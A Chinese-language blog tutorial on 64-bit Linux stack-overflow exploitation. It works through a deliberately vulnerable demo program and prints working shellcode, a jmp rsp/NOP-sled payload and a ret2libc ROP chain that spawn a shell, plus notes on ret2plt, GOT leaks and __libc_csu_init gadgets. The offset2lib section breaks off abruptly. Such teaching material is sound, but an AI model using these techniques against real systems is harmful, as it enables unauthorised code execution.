之前在栈溢出漏洞的利用和缓解 https://www.pppan.net/blog/detail/2018-03-17-exploit-the-stack 中介绍了栈溢出漏洞和一些常见的漏洞缓解
技术的原理和绕过方法, 不过当时主要针对 32 位程序(ELF32). 秉承着能用就不改的态度,
IPv4 还依然是互联网的主导, 更何况应用程序. 所以理解 32 位环境也是有必要的.
不过, 现在毕竟已经是 2018 年了, 64 位程序也逐渐成为主流, 尤其是在 Linux 环境中.
因此本篇就来说说 64 位下的利用与 32 位下的利用和缓解绕过方法有何异同.
基础知识
寄存器
我们所说的 32 位和 64 位, 其实就是寄存器的大小. 对于 32 位寄存器大小为 32/8=4 字节,
那 64 位自然是 64/8=8 字节了. 寄存器的大小对程序的直接影响就是地址空间,
因为 CPU 获取数据 / 地址还是要通过寄存器来传递, 32 位程序地址空间最多也只有
2^32-1=4GB(不考虑内核空间), 64 位则将地址空间提高了几十亿倍, 充分利用了
机器的内存.
x86
对于 x86 架构的 CPU, 通常会用到的寄存器有下列这些:
(gdb) info registers
eax 0xf7fa6dbc -134582852
ecx 0x5cb15f85 1555128197
edx 0xffffc834 -14284
ebx 0x0 0
esp 0xffffc808 0xffffc808
ebp 0xffffc808 0xffffc808
esi 0x1 1
edi 0xf7fa5000 -134590464
eip 0x56555563 0x56555563 <main+3>
eflags 0x292 [ AF SF IF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
这些寄存器可以分为四类:
通用寄存器:
EAX EBX ECX EDX
索引和指针:
ESI EDI EBP ESP EIP
段寄存器:
CS SS DS ES FS GS
指示器:
EFLAGS
其中 EAX~EDX 四个通用寄存器支持部分引用, 如 EAX 低 16 位可通过 AX 来引用,
AL 的高 8 位和低 8 位又可以分别通过 AH 和 AL 来引用.
有的文档将 ESI,EDI 也称为通用寄存器, 因为他们也是程序可自由读写的,
不过他们不支持部分引用. EBP/ESP 分别称为栈基指针和栈指针, 分别指向
当前栈帧的栈底和栈顶. EIP 为 PC 指针, 指向将要执行的下一条指令.
段寄存器 (Segment registers) 保存了不同目标的段地址, 只有 16 种取值,
只能被通用寄存器或者特殊指令设置.
段寄存器 | 作用 |
---|---|
CS | Code Segment |
SS | Stack Segment |
DS | Data Segment |
ES,FS,GS | 主要用作远指针寻址 |
指示器 EFLAGS 保存了指令运行的一些状态(flag), 比如进位, 符号等, Intel 文档定义如下:
Bit | Label | Desciption |
---|---|---|
0 | CF | Carry flag |
2 | PF | Parity flag |
4 | AF | Auxiliary carry flag |
6 | ZF | Zero flag |
7 | SF | Sign flag |
8 | TF | Trap flag |
9 | IF | Interrupt enable flag |
10 | DF | Direction flag |
11 | OF | Overflow flag |
12-13 | IOPL | I/O Priviledge level |
14 | NT | Nested task flag |
16 | RF | Resume flag |
17 | VM | Virtual 8086 mode flag |
18 | AC | Alignment check flag (486+) |
19 | VIF | Virutal interrupt flag |
20 | VIP | Virtual interrupt pending flag |
21 | ID | ID flag |
这个 32 位寄存器中上面没提到的位是由 Intel 保留的.
x86-64
x86-64 架构下的寄存器种类和 32 位差不多:
(gdb) info registers
rax 0x555555554660 93824992233056
rbx 0x0 0
rcx 0x0 0
rdx 0x7fffffffd708 140737488344840
rsi 0x7fffffffd6f8 140737488344824
rdi 0x1 1
rbp 0x7fffffffd610 0x7fffffffd610
rsp 0x7fffffffd610 0x7fffffffd610
r8 0x5555555546e0 93824992233184
r9 0x7ffff7de8cb0 140737351945392
r10 0x8 8
r11 0x1 1
r12 0x555555554530 93824992232752
r13 0x7fffffffd6f0 140737488344816
r14 0x0 0
r15 0x0 0
rip 0x555555554664 0x555555554664 <main+4>
eflags 0x246 [ PF ZF IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
只不过寄存器大小从 32 位变成了 64 位, 而且增加了 8 个通用寄存器(r8~r15).
和 x86 一样, rax~rdx 这四个通用寄存器也支持部分寻址:
- 0x1122334455667788
- ================ RAX (64 位)
- ======== EAX (低 32 位)
- ==== AX (低 16 位)
- == AH (高 8 位)
- == AL (低 8 位)
调用约定
32 位和 64 位程序的区别, 更多的是体现在调用约定(Calling Convention) https://en.wikipedia.org/wiki/X86_calling_conventions 上.
因为 64 位程序有了更多的通用寄存器, 所以通常会使用寄存器来进行函数参数传递
而不是通过栈, 来获得更高的运行速度.
本文主要是介绍 Linux 平台下的漏洞利用, 所以就专注于 System V AMD64 ABI
的调用约定, 即函数参数从左到右依次用寄存器 RDI,RSI,RDX,RCX,R8,R9 来进行传递,
如果参数个数多于 6 个, 再通过栈来进行传递.
$ cat victim.c
- int foo(int a, int b, int c, int d, int e, int f, int g, int h) {
- return a + b + c + d + e + f + g + h;
- }
- int main() {
- foo(1, 2, 3, 4, 5, 6, 7, 8);
- return 0;
- }
$ gcc victim.c -o victim
$ objdump -d victim | grep "<main>:" -A 11
- 00000000000006a0 <main>:
- 6a0: 55 push rbp
- 6a1: 48 89 e5 mov rbp,rsp
- 6a4: 6a 08 push 0x8
- 6a6: 6a 07 push 0x7
- 6a8: 41 b9 06 00 00 00 mov r9d,0x6
- 6ae: 41 b8 05 00 00 00 mov r8d,0x5
- 6b4: b9 04 00 00 00 mov ecx,0x4
- 6b9: ba 03 00 00 00 mov edx,0x3
- 6be: be 02 00 00 00 mov esi,0x2
- 6c3: bf 01 00 00 00 mov edi,0x1
- 6c8: e8 93 ff ff ff call 660 <foo>
漏洞利用
回忆一下之前在栈溢出漏洞的利用和缓解 https://www.pppan.net/blog/detail/2018-03-17-exploit-the-stack 中介绍的漏洞利用流程,
我们的目的是通过溢出等内存破坏的漏洞来执行任意的代码, 为实现这个目的,
就要按照调用约定来对内存进行精确布局, 然后执行恶意跳转.
在 32 位的环境下, 因为函数参数都是通过栈传递, 而我们有能溢出栈
进行任意写, 所以利用起来很直接, 到了 64 位环境中就需要做点改变了.
在本文接下来的介绍中, 都以下面的程序为目标来说明 64 位环境中如何
正确地利用漏洞, 以及如何绕过常见的漏洞缓解措施.
- // victim.c
- # include <stdio.h>
- int foo() {
- char buf[10];
- scanf("%s", buf);
- printf("hello %s\n", buf);
- return 0;
- }
- int main() {
- foo();
- printf("good bye!\n");
- return 0;
- }
- void dummy()
- {
- __asm__("nop; jmp rsp");
- }
同样的, 我们先从最宽松的环境开始.
基本利用
与 x86 的栈溢出漏洞类似, 我们可以先用 debruijn 序列来获得溢出点:
$ gcc victim.c -o victim -g -masm=intel -fno-stack-protector -z execstack -no-pie -fno-pic
$ ragg2 -P 80 -r> victim.rr2
$ gdb victim
(gdb) run <victim.rr2
Starting program: /home/pan/stack_overflow_demo/x64/victim < victim.rr2
hello AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaA
Program received signal SIGSEGV, Segmentation fault.
- 0x00000000004005f0 in foo () at victim.c:8
- 8 }
- (gdb) p $rip
- $1 = (void (*)()) 0x4005f0 <foo+58>
- (gdb) b 6
- Breakpoint 1 at 0x4005d4: file victim.c, line 6.
(gdb) run <victim.rr2
(gdb) x/xg $rbp+8
0x7fffffffd608: 0x4149414148414147
不过, 和 x86 不同的是, 这里在出现段错误时, rip 指针并没有被我们的序列覆盖到.
这是因为 x86 在传递地址时不会进行 "验证". 而 x64 则会对根据寻址标准对地址进行检查,
规则是 48~63 位必须和 47 位相同(从 0 开始), 否则处理器将会产生异常.
这规则听起来有点怪, 不过考虑到用户空间最多只有
0x00007FFFFFFFFFF
,
所以对正常程序而言是有保护作用的, 详情可以参考这里 https://stackoverflow.com/questions/14789850/compile-c-to-allow-for-buffer-overflow .
好吧, 那么该如何获得覆盖的 rip 值? 其实也很简单, 只要在溢出后打上断点,
并查看 $rbp+8 就是我们将要覆盖的 rip 值了. 如上为
- 0x4149414148414147
- ,
转换为(小端)ASCII 为 GAAHAAIA, 在 debruijn 序列的第 19 位, 验证如下:
$ gdb ./victim
(gdb) run < <(python -c "print'A'*18 +'B'*4")
hello AAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
0x0000000042424242 in ?? ()
- (gdb) p $rip
- $1 = (void (*)()) 0x42424242
确实是 BBBB 覆盖了返回的指针. 所以栈的布局和 32 位下应该是类似的. 利用跳转
jmp rsp 和 32 位没有太大区别, 假设我们目标是通过 system("/bin/sh")来获取 shell.
先分别获得 libc 的基地址, system 函数的偏移以及字符串的偏移:
- $ LD_TRACE_LOADED_OBJECTS=1 ./victim
- linux-vdso.so.1 (0x00007ffff7ffa000)
- libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7a3a000)
- /lib64/ld-linux-x86-64.so.2 (0x00007ffff7dd9000)
- $ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system@
- 583: 000000000003f450 45 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
- 1353: 000000000003f450 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
$ rafind2 -z -s /bin/sh /lib/x86_64-linux-gnu/libc.so.6
0x1619f9
所以:
libc 加载基地址为 0x00007ffff7a3a000
system()地址为 0x00007ffff7a3a000+0x3f450=0x7ffff7a79450
"/bin/sh" 的地址为 0x00007ffff7a3a000+0x1619f9=0x7ffff7b9b9f9
上一节说了 x64 下调用约定是通过寄存器来传递函数的参数, 其中第一个参数为 rdi,
因此需要构造的 payload 应该如下:
;shellcode.asm
mov rdi, 0x7ffff7b9b9f9;
mov rdx, 0x7ffff7a79450;
call rdx;
在宽松的环境下, 栈是可执行的, 所以我们用 jmp rsp 来跳转到 shellcode 中:
- $ rasm2 "jmp rsp"
- ffe4
- $ objdump -d victim | grep "ff e4"
- 400615: ff e4 jmp rsp
- $ rasm2 -a x86 -b 64 -f shellcode.asm -C
- "\x48\xbf\xf9\xb9\xb9\xf7\xff\x7f\x00\x00\x48\xba\x50\x94\xa7\xf7\xff\x7f\x00\x00\xff\xd2"
返回地址应覆盖为 0x400615, 所以完整的 payload 验证如下(记得加上 NOP sled):
$ (python -c 'print"A"*18 +"\x15\x06\x40\x00"+"\x00"*4 +"\x90"*20 +"\x48\xbf\xf9\xb9\xb9\xf7\xff\x7f\x00\x00\x48\xba\x50\x94\xa7\xf7\xff\x7f\x00\x00\xff\xd2"' && cat) | ./victim
hello AAAAAAAAAAAAAAAAAA@
- whoami
- pan
- id
- uid=1000(pan) gid=1000(pan) groups=1000(pan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),117(lpadmin),121(wireshark),999(docker)
成功获得 shell. 这是最原始的通过 jmp rsp+NOP sled 劫持运行流程的方式,
和 32 位情况下没有太大区别.
ret2libc
return-to-libc 和 32 位情况下的区别是函数参数需要保存在 rdi 寄存器中.
然而我们只能覆盖栈的地址, 所以这时候需要借助 ROP 方法来控制流程,
先跳转到程序中的 pop rdi; ret 片段(gadget), 再跳转到 system@libc 中 mailto:再跳转到system@libc中 .
- $ rasm2 "pop rdi; ret"
- 5fc3
- $ rafind2 -x 5fc3 -X victim
- 0x683
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x00000683 5fc3 9066 2e0f 1f84 0000 0000 00f3 c300 _..f............
0x00000693 0048 83ec 0848 83c4 08c3 0000 0001 0002 .H...H..........
0x000006a3 0025 7300 6865 6c6c 6f20 2573 0a00 676f .%s.hello %s..go
0x000006b3 6f64 2062 7965 2100 0001 1b03 3b40 0000 od bye!.....;@..
0x000006c3 0007 0000 00c4 fdff ff8c 0000 0004 ..............
关键是要找到合适的 gadget, 在 victim 里找到了这俩字节, 就算不幸没找到也没关系,
我们还可以从 libc.so 里去找, 这个会在后面细说.
值得一提的是 32 位程序加载地址为 0x08048000, 而 64 位程序加载地址为 0x00400000.
所以跳转的返回地址应该是 0x00400000+0x683=0x400683, ROP 链如下:
栈顶(低地址) <-------- 栈底(高地址)
...[18 字节][0x400683]["/bin/sh" 地址][system@libc][system 返回(可选)]
和之前一样, "/bin/sh" 和 system()的地址和之前一样, 验证:
$ (python -c 'print"A"*18 +"\x83\x06\x40\x00\x00\x00\x00\x00"+"\xf9\xb9\xb9\xf7\xff\x7f\x00\x00"+"\x50\x94\xa7\xf7\xff\x7f\x00\x00"' && cat) | ./victim
hello AAAAAAAAAAAAAAAAAA@
- whoami
- pan
- id
- uid=1000(pan) gid=1000(pan) groups=1000(pan),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),111(scanner),117(lpadmin),121(wireshark),999(docker)
成功返回到了 libc 中执行 system("/bin/sh")
ret2plt
上面用 ret2libc 虽然成功绕过了 NX 并执行命令, 但其实也不稳定. 因为我们是假定知道
了 libc 的加载地址(即禁用 ASLR). 不过, 在上一篇深入了解 GOT,PLT 和动态链接 https://www.pppan.net/blog/detail/2018-04-09-about-got-plt
中我们说了, ASLR 虽然随机化了部分虚拟地址空间, 不过 PLT 却不在此列, 其地址依然
是和可执行文件的加载地址相对固定的. 如果可执行文件不是 PIE(位置无关可执行文件),
那么 ELF 的加载地址也是固定的. 这就使得我们可以通过跳转到 PLT 来绕过 ASLR 执行任意
命令.
利用过程和上面 ret2libc 类似, 只不过要将 system@libc 的地址改为 system@plt.
哈, 当然, 前提是我们的程序里有 system@plt mailto:前提是我们的程序里有system@plt .
$ gdb victim_nx
- (gdb) info functions
- All defined functions:
- File victim.c:
- void dummy();
- int foo();
- int main();
- Non-debugging symbols:
- 0x0000000000400460 _init
0x0000000000400490 puts@plt
0x00000000004004a0 printf@plt
0x00000000004004b0 __isoc99_scanf@plt
0x00000000004004c0 _start
0x00000000004004f0 deregister_tm_clones
0x0000000000400530 register_tm_clones
0x0000000000400570 __do_global_dtors_aux
0x0000000000400590 frame_dummy
0x0000000000400620 __libc_csu_init
0x0000000000400690 __libc_csu_fini
0x0000000000400694 _fini
可惜我们的程序并没有出现 system 的引用, 所以就不具体演示了, 因为无非是将 ret2libc
改一个地址而已.
如果在实际程序中也这么不巧遇到这种情况怎么办? 这就要用到下面的方法了.
找啊找啊找 libc
虽然 libc.so 是 PIC 位置无关的, 但其中每个符号的相对地址是确定的,
只要知道其中一个, 就能知道 libc 加载基地址和所有其他符号的位置了.
因此不论是要找函数 (如 system), 数据(如 "/bin/bash") 还是复杂的 ROP gadget,
关键都是要找 libc, 一旦找到 libc 的基地址, 这场 exploit 游戏也就宣告结束了.
.got.plt
在深入了解 GOT,PLT 和动态链接 https://www.pppan.net/blog/detail/2018-04-09-about-got-plt 中我们知道, 每个函数的 PLT 中只包含几行代码,
作用是设置参数并跳转到 GOT, 而对应 GOT 在解析前包含了对应 PLT 的下一条指令.
PLT 的下一条指令则动态解析符号并填充对应的 GOT, 称为延时加载.
所以, GOT 中有 libc 某些函数的真正地址, 我们可以利用它来获取 libc 的位置.
这种方法也叫 GOT dereference, 和 GOT 覆盖类似, 只不过并没有真正覆盖.
在 32 位情况下和 64 位情况下利用方式大同小异, 可以参考 x86 漏洞利用 https://www.pppan.net/blog/detail/2018-03-17-exploit-the-stack 中的 ASLR
部分, 这里就不赘述了.
offset2lib
offset2lib 是在 2014 年提出来的一种在 x64 下绕过 ASLR 的方法, 主要利用的是 Linux
实现 ASLR 的设计缺陷, 在程序启用 PIE 时会导致加载地址空间 (区域) 和动态库相同,
从而导致 ASLR 熵减少. 不过这个缺陷已经在 2015 年修复了, 所以不展开介绍,
- $ objdump -d ./victim_nx | grep "<__libc_csu_init>:" -A35
- 0000000000400620 <__libc_csu_init>:
- 400620: 41 57 push r15
- 400622: 41 56 push r14
- 400624: 41 89 ff mov r15d,edi
- 400627: 41 55 push r13
- 400629: 41 54 push r12
- 40062b: 4c 8d 25 d6 07 20 00 lea r12,[rip+0x2007d6] # 600e08 <__frame_dummy_init_array_entry>
- 400632: 55 push rbp
- 400633: 48 8d 2d d6 07 20 00 lea rbp,[rip+0x2007d6] # 600e10 <__init_array_end>
- 40063a: 53 push rbx
- 40063b: 49 89 f6 mov r14,rsi
- 40063e: 49 89 d5 mov r13,rdx
- 400641: 4c 29 e5 sub rbp,r12
- 400644: 48 83 ec 08 sub rsp,0x8
- 400648: 48 c1 fd 03 sar rbp,0x3
- 40064c: e8 0f fe ff ff call 400460 <_init>
- 400651: 48 85 ed test rbp,rbp
- 400654: 74 20 je 400676 <__libc_csu_init+0x56>
- 400656: 31 db xor ebx,ebx
- 400658: 0f 1f 84 00 00 00 00 nop DWORD PTR [rax+rax*1+0x0]
- 40065f: 00
- /400660: 4c 89 ea mov rdx,r13
- 2| 400663: 4c 89 f6 mov rsi,r14
- | 400666: 44 89 ff mov edi,r15d
- \400669: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
- 40066d: 48 83 c3 01 add rbx,0x1
- 400671: 48 39 dd cmp rbp,rbx
- 400674: 75 ea jne 400660 <__libc_csu_init+0x40>
- 400676: 48 83 c4 08 add rsp,0x8
- /40067a: 5b pop rbx
- | 40067b: 5d pop rbp
- | 40067c: 41 5c pop r12
- 1| 40067e: 41 5d pop r13
- | 400680: 41 5e pop r14
- | 400682: 41 5f pop r15
- \400684: c3 ret
来源: https://www.cnblogs.com/pannengzhi/p/2018-04-15-x64-stack-exploit.html